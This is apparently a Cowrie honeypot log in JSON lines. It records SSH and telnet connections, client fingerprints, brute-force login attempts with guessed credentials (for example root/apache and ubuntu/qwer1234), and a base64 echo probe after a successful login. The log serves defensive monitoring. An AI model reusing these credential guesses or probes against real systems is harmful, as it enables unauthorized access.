{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:55.448929Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:55.580425Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:49:55.585127Z","src_ip":"85.198.97.85","session":"328a042fae16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37302,"dst_ip":"159.203.135.109","dst_port":22,"session":"61308e3cc64d","protocol":"ssh","message":"New connection: 2.57.122.208:37302 (159.203.135.109:22) [session: 61308e3cc64d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:51:46.450354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:51:46.514817Z","src_ip":"2.57.122.208","session":"61308e3cc64d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:51:46.614316Z","src_ip":"2.57.122.208","session":"61308e3cc64d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:51:47.287931Z","src_ip":"2.57.122.208","session":"61308e3cc64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:51:48.456666Z","src_ip":"2.57.122.208","session":"61308e3cc64d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53802,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d5d56c2fbb0","protocol":"ssh","message":"New connection: 2.57.122.208:53802 (159.203.135.109:22) [session: 4d5d56c2fbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:53:58.489292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:53:58.572315Z","src_ip":"2.57.122.208","session":"4d5d56c2fbb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:53:58.695449Z","src_ip":"2.57.122.208","session":"4d5d56c2fbb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:53:59.799439Z","src_ip":"2.57.122.208","session":"4d5d56c2fbb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:54:01.011970Z","src_ip":"2.57.122.208","session":"4d5d56c2fbb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34304,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbdb4c30a713","protocol":"ssh","message":"New connection: 2.57.122.208:34304 (159.203.135.109:22) [session: fbdb4c30a713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:56:09.449419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:56:09.454476Z","src_ip":"2.57.122.208","session":"fbdb4c30a713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:56:09.554528Z","src_ip":"2.57.122.208","session":"fbdb4c30a713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:56:10.006974Z","src_ip":"2.57.122.208","session":"fbdb4c30a713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:56:11.144842Z","src_ip":"2.57.122.208","session":"fbdb4c30a713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55480,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d2f2aad8d19","protocol":"ssh","message":"New connection: 2.57.122.208:55480 (159.203.135.109:22) [session: 6d2f2aad8d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:58:28.554259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:58:28.559270Z","src_ip":"2.57.122.208","session":"6d2f2aad8d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:58:28.661418Z","src_ip":"2.57.122.208","session":"6d2f2aad8d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:58:28.967018Z","src_ip":"2.57.122.208","session":"6d2f2aad8d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:58:30.098124Z","src_ip":"2.57.122.208","session":"6d2f2aad8d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.103.111.139","src_port":35240,"dst_ip":"159.203.135.109","dst_port":23,"session":"4901514865db","protocol":"telnet","message":"New connection: 183.103.111.139:35240 (159.203.135.109:23) [session: 4901514865db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:01.337608Z"}
{"eventid":"cowrie.session.closed","duration":13.251031398773193,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:14.588514Z","src_ip":"183.103.111.139","session":"4901514865db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45968,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f7407ed942","protocol":"ssh","message":"New connection: 2.57.122.208:45968 (159.203.135.109:22) [session: b0f7407ed942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:45.854162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:45.859542Z","src_ip":"2.57.122.208","session":"b0f7407ed942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:45.961168Z","src_ip":"2.57.122.208","session":"b0f7407ed942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:46.278148Z","src_ip":"2.57.122.208","session":"b0f7407ed942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:00:47.464655Z","src_ip":"2.57.122.208","session":"b0f7407ed942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":55462,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb80e05db26f","protocol":"ssh","message":"New connection: 85.198.97.85:55462 (159.203.135.109:22) [session: bb80e05db26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:20.595250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:20.603848Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:20.740266Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"apache","message":"login attempt [root/apache] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:21.148923Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:21.461323Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:21.464742Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:21.604880Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:01:21.610458Z","src_ip":"85.198.97.85","session":"bb80e05db26f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56032,"dst_ip":"159.203.135.109","dst_port":22,"session":"243818f5db1e","protocol":"ssh","message":"New connection: 2.57.122.208:56032 (159.203.135.109:22) [session: 243818f5db1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:03:02.513781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:03:02.519662Z","src_ip":"2.57.122.208","session":"243818f5db1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:03:02.653689Z","src_ip":"2.57.122.208","session":"243818f5db1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:03:03.051584Z","src_ip":"2.57.122.208","session":"243818f5db1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:03:04.159460Z","src_ip":"2.57.122.208","session":"243818f5db1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47210,"dst_ip":"159.203.135.109","dst_port":22,"session":"6341192c0d2e","protocol":"ssh","message":"New connection: 2.57.122.208:47210 (159.203.135.109:22) [session: 6341192c0d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:05:19.852197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:05:19.869212Z","src_ip":"2.57.122.208","session":"6341192c0d2e","protocol":"ssh"}
